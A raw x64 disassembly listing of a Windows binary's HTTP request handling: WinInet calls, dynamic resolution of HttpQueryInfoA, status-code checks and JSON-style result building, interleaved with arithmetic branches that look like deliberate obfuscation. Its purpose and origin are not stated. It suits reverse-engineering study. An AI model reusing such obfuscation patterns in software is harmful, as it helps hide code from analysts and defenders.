call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
call fcn.140002410
add rax, 0x18
mov qword [rbp - 0x60], rax
mov rax, qword [rsp + 0x70]
mov ecx, dword [rax - 0x10]
lea r15d, [rcx + rcx]
cmp byte [rsp + 0x48], 0
je 0x14002f54c
mov dword [rbp + 0x18], 0x2710
mov r9d, 4
lea r8, [rbp + 0x18]
lea edx, [r9 + 2]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov r9d, 4
lea r8, [rbp + 0x18]
lea edx, [r9 + 1]
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetSetOptionW]
mov rax, qword [rsp + 0x58]
mov rdi, rax
cmp dword [rax - 0x10], 0
cmove rdi, r14
mov rcx, qword [rbp - 0x60]
mov edx, r12d
sub edx, dword [rcx - 8]
mov ecx, dword [rcx - 0xc]
or ecx, edx
jge 0x14002f57d
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.1400023b0
mov rax, qword [rsp + 0x58]
mov ebx, dword [rax - 0x10]
call fcn.1400284b0
mov rcx, rax
mov dword [rsp + 0x28], r15d
mov rax, qword [rbp - 0x60]
mov qword [rsp + 0x20], rax
mov r9d, ebx
mov r8, rdi
mov rdx, r13
call fcn.140040770
test eax, eax
jne 0x14002f750
lea rcx, [rbp + 0xe0]
call fcn.1400260d0
nop
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x14002f5d3
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpSendRequest_Failed_with:
lea rcx, [rbp + 0x138]
call fcn.1400030b0
nop
lea r8, [rbp + 0xe0]
mov rdx, rax
lea rcx, [rbp + 0x178]
call fcn.1400204c0
nop
mov rdx, rax
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x178]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f62e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x138]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f64a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0xe0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f666
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f67f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f699
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f6b3
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f6cc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f6e5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f6fe
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f717
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f731
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f74b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
lea rdx, str.noResponse
mov rbx, qword [rbp]
mov rcx, rbx
call fcn.140039930
cmp byte [rax + 8], 5
jne 0x14002f96b
lea rdx, str.noResponse
mov rcx, rbx
call fcn.140039930
mov rcx, rax
call fcn.1400392e0
test al, al
je 0x14002f96b
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x14002f7a6
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [rbp + 0x100]
and eax, 0xffffff00
mov dword [rbp + 0x100], eax
btr eax, 8
mov dword [rbp + 0x100], eax
mov qword [rbp + 0x108], r14
mov eax, dword [rbp + 0x1e8]
and eax, 0xffffff05
or eax, 5
mov dword [rbp + 0x1e8], eax
mov qword [rbp + 0x1f0], r14
mov byte [rbp + 0x1e0], 1
lea rdx, str.result
lea rcx, [rbp + 0xf8]
call fcn.140039730
mov rcx, rax
lea rdx, [rbp + 0x1e0]
call fcn.140038da0
nop
lea rcx, [rbp + 0x1e0]
call fcn.140038cf0
lea rdx, str.no_response_needed
lea rcx, [rbp + 0x3f0]
call fcn.140038a40
nop
lea rdx, str.content
lea rcx, [rbp + 0xf8]
call fcn.140039730
mov rcx, rax
lea rdx, [rbp + 0x3f0]
call fcn.140038da0
nop
lea rcx, [rbp + 0x3f0]
call fcn.140038cf0
lea rdx, [rbp + 0xf8]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.140038b90
mov dword [rsp + 0x44], r12d
lea rcx, [rbp + 0xf8]
call fcn.140038cf0
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f89a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f8b4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f8ce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f8e7
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f900
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f919
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f932
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f94c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002f966
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
mov byte [rbp + 0x19b0], 0
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x19b1]
call fcn.1400d2f00
mov dword [rbp + 0x88], 0x400
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
jne 0x14002fbba
mov r9d, dword [0x1401c3d80]
mov ecx, r9d
imul ecx, r9d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xb
sub ecx, edx
cmp ecx, 6
jne 0x14002fa50
mov r15d, r14d
lea rdi, [rbp + 0xf90]
nop dword [rax]
mov r10d, r14d
nop word [rax + rax]
lea ebx, [r10 + 1]
lea ecx, [r15 + 1]
mov eax, r9d
cdq
idiv ecx
mov r8d, edx
mov ecx, r9d
sub ecx, r15d
imul r8d, ecx
mov eax, r9d
cdq
idiv ebx
add r8d, eax
sub r8d, r10d
mov dword [rdi], r8d
mov edx, r8d
lea rcx, [0x14014c428]
call fcn.1400ce3cc
mov r10d, ebx
add rdi, 4
cmp ebx, 6
jge 0x14002fa3e
mov r9d, dword [0x1401c3d80]
jmp 0x14002f9f0
inc r15d
cmp r15d, 0x1b
jge 0x14002fa50
mov r9d, dword [0x1401c3d80]
jmp 0x14002f9e0
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [0x1401c3d80]
imul eax, eax
and eax, 0x8000000f
jge 0x14002fa70
dec eax
or eax, 0xfffffff0
inc eax
cmp eax, 0xc
jne 0x14002fa7b
inc dword [0x1401c4bc8]
cmp byte [rsp + 0x40], 0
je 0x14002fa8c
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpQueryInfo_Failed
lea rcx, [rbp + 0x1b8]
call fcn.1400030b0
nop
mov rdx, rax
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x1b8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fad0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fae9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb03
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb1d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb36
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb4f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb68
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb81
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fb9b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fbb5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
lea rdx, str.HttpQueryInfoA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, r13
test rax, rax
jne 0x14002fd1b
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x14002fbed
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpQueryInfo_Failed
lea rcx, [rbp + 0x148]
call fcn.1400030b0
nop
mov rdx, rax
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x148]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fc31
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fc4a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fc64
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fc7e
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fc97
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fcb0
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fcc9
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fce2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fcfc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fd16
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x19b0]
mov edx, 0x13
call rax
test eax, eax
jne 0x14002fe85
mov rcx, r13
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [rsp + 0x40], 0
je 0x14002fd57
mov rcx, qword [rbp - 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, str.HttpQueryInfo_Failed
lea rcx, [rbp + 0x1f8]
call fcn.1400030b0
nop
mov rdx, rax
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.14002a4b0
mov dword [rsp + 0x44], r12d
mov rdx, qword [rbp + 0x1f8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fd9b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fdb4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fdce
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x58]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fde8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x70]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fe01
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x68]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fe1a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x80]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fe33
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fe4c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x60]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fe66
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rsp + 0x78]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14002fe80
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
jmp 0x1400320f5
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x19b0]
lea rcx, [rsp + 0x50]
call fcn.140003290
nop
lea rdx, str.acceptedStatusCodes
mov rcx, rbx
call fcn.140039930
mov r15, rax
movzx eax, byte [rax + 8]
test al, al
je 0x140030129
cmp al, 6
je 0x140030129
cmp al, 7
jne 0x1400300e1
mov r12d, r14d
mov rcx, r15
call fcn.140039360
test eax, eax
jle 0x140031e1d
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp + 0x50], rax
mov r8d, r12d
lea rdx, [0x14014c428]
lea rcx, [rbp + 0x50]
call fcn.140032560
mov rdi, qword [rbp + 0x50]
mov rdx, rdi
mov rcx, r15
call fcn.140039930
mov rdx, rdi
mov rcx, r15
cmp byte [rax + 8], 4
jne 0x14002ffb2
lea rax, [rbp + 0x408]
mov qword [rbp - 8], rax
call fcn.140039930
mov rdx, qword [rax]
lea rcx, [rbp + 0x408]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x158]
call fcn.140020230
nop
mov rdx, qword [rax]
mov eax, r14d
test rdx, rdx
setne al
test eax, eax
je 0x1400300b1
mov rax, qword [rsp + 0x50]
sub rdx, rax
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x14002ff9c
add rax, 2
test cx, cx
jne 0x14002ff85
mov eax, r14d
jmp 0x14002ffa1
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0x158]
jmp 0x140030068
call fcn.140039930
cmp byte [rax + 8], 1
jne 0x140030084
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x170], rbx
mov rdx, rdi
mov rcx, r15
call fcn.140039930
mov rcx, rax
call fcn.140038f60
mov r8d, eax
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0xf0]
call fcn.140020440
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003001b
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, r14d
mov rax, qword [rbp + 0xf0]
test rax, rax
setne cl
test ecx, ecx
je 0x1400300d6
mov rcx, qword [rsp + 0x50]
sub rax, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x140030057
add rcx, 2
test dx, dx
jne 0x140030040
mov eax, r14d
jmp 0x14003005c
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0xf0]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003007c
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test bl, bl
jne 0x1400300bc
mov rdi, qword [rbp + 0x50]
lea rdx, [rdi - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030098
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
inc r12d
mov rcx, r15
call fcn.140039360
cmp r12d, eax
jge 0x140031e1d
jmp 0x14002fef2
mov ecx, 0x80004005
call fcn.140001920
nop
mov rdx, qword [rbp + 0x50]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030116
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140030116
mov ecx, 0x80004005
call fcn.140001920
nop
mov rcx, r14
mov rdx, qword [rsp + 0x50]
lea r8, [0x140150110]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x14003010a
cmp rcx, 4
jne 0x1400300f0
mov eax, r14d
jmp 0x14003010f
sbb eax, eax
or eax, 1
test eax, eax
sete bl
jmp 0x14003011c
mov r12d, 1
test bl, bl
jne 0x1400302f8
jmp 0x140031e1d
mov eax, dword [0x1401c3d80]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xe
sub ecx, edx
cmp ecx, 7
jne 0x140030165
lea edx, [rcx + 0x1f]
lea r8d, [rcx + 0x20]
lea rcx, str._d__d_n
call fcn.1400ce3cc
mov edi, r14d
mov rcx, r15
call fcn.140039360
test eax, eax
jle 0x140031e1d
nop dword [rax + rax]
mov edx, edi
mov rcx, r15
call fcn.140039640
mov edx, edi
mov rcx, r15
cmp byte [rax + 8], 4
jne 0x14003020e
lea rax, [rbp + 0x488]
mov qword [rbp - 8], rax
call fcn.140039640
mov rdx, qword [rax]
lea rcx, [rbp + 0x488]
call fcn.140001370
nop
mov rdx, rax
lea rcx, [rbp + 0x168]
call fcn.140020230
nop
mov rdx, qword [rax]
mov eax, r14d
test rdx, rdx
setne al
test eax, eax
je 0x1400302ed
mov rax, qword [rsp + 0x50]
sub rdx, rax
movzx ecx, word [rax]
cmp cx, word [rax + rdx]
jne 0x1400301f8
add rax, 2
test cx, cx
jne 0x1400301e1
mov eax, r14d
jmp 0x1400301fd
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0x168]
jmp 0x1400302be
call fcn.140039640
cmp byte [rax + 8], 1
jne 0x1400302d6
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
lea rbx, [rax + 0x18]
mov qword [rbp + 0x180], rbx
mov edx, edi
mov rcx, r15
call fcn.140039640
mov rcx, rax
call fcn.140038f60
mov r8d, eax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0xa8]
call fcn.140020440
nop
lea rdx, [rbx - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x140030276
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov ecx, r14d
mov rax, qword [rbp + 0xa8]
test rax, rax
setne cl
test ecx, ecx
je 0x140031e12
mov rcx, qword [rsp + 0x50]
sub rax, rcx
movzx edx, word [rcx]
cmp dx, word [rcx + rax]
jne 0x1400302ad
add rcx, 2
test dx, dx
jne 0x140030296
mov eax, r14d
jmp 0x1400302b2
sbb eax, eax
or eax, 1
test eax, eax
sete bl
mov rdx, qword [rbp + 0xa8]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x1400302d2
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test bl, bl
jne 0x1400302f8
inc edi
mov rcx, r15
call fcn.140039360
cmp edi, eax
jge 0x140031e1d
jmp 0x140030180
mov ecx, 0x80004005
call fcn.140001920
nop
mov dword [rbp + 8], r14d
lea r9, [rbp + 8]
mov rcx, r13
call fcn.14002e310
lea rcx, [0x1401bb9a8]
mov rax, qword [0x1401bb9a8]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x48], rax
mov eax, dword [rbp + 8]
test eax, eax
je 0x140030452
mov ecx, eax
call fcn.1400cd108
mov rbx, rax
mov r9d, dword [0x1401c3d80]
lea r8d, [r9 + 1]
imul r8d, r9d
mov eax, 0x66666667
imul r8d
sar edx, 3
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea eax, [rdx + rdx*4]
shl eax, 2
sub r8d, eax
cmp r8d, 5
jne 0x1400303cc
mov rax, qword [str.xcGmuxU1jnvGU]
mov qword [rbp + 0x110], rax
mov eax, dword [0x140150138]
mov dword [rbp + 0x118], eax
movzx eax, word [0x14015013c]
mov word [rbp + 0x11c], ax
lea rax, [rbp + 0x110]
mov rcx, rsi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400303a0
mov eax, 4
mul rcx
cmovo rax, rsi
mov rcx, rax
call fcn.1400cd108
mov rcx, rax
call fcn.1400cebfc
mov r9d, dword [0x1401c3d80]
test rbx, rbx
je 0x140030459
lea rcx, str.Wininet.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140030412
lea rdx, str.HttpQueryInfoA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140030412
mov qword [rsp + 0x20], r14
lea r9, [rbp + 8]
mov r8, rbx
mov edx, 0x16
mov rcx, r13
call rax
mov rdx, rbx
lea rcx, [rbp + 0x120]
call fcn.140029910
nop
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.140002230
nop
mov rdx, qword [rbp + 0x120]
add rdx, 0xffffffffffffffe8
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14003044a
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rbx
call fcn.1400cebfc
mov r9d, dword [0x1401c3d80]
cmp byte [rsp + 0x48], 0
je 0x14003108c
lea ecx, [r9 + 2]
lea eax, [r9 + 1]
imul ecx, eax
imul ecx, r9d
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
cmp ecx, 5
jne 0x1400304cb
mov eax, 0x51eb851f
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
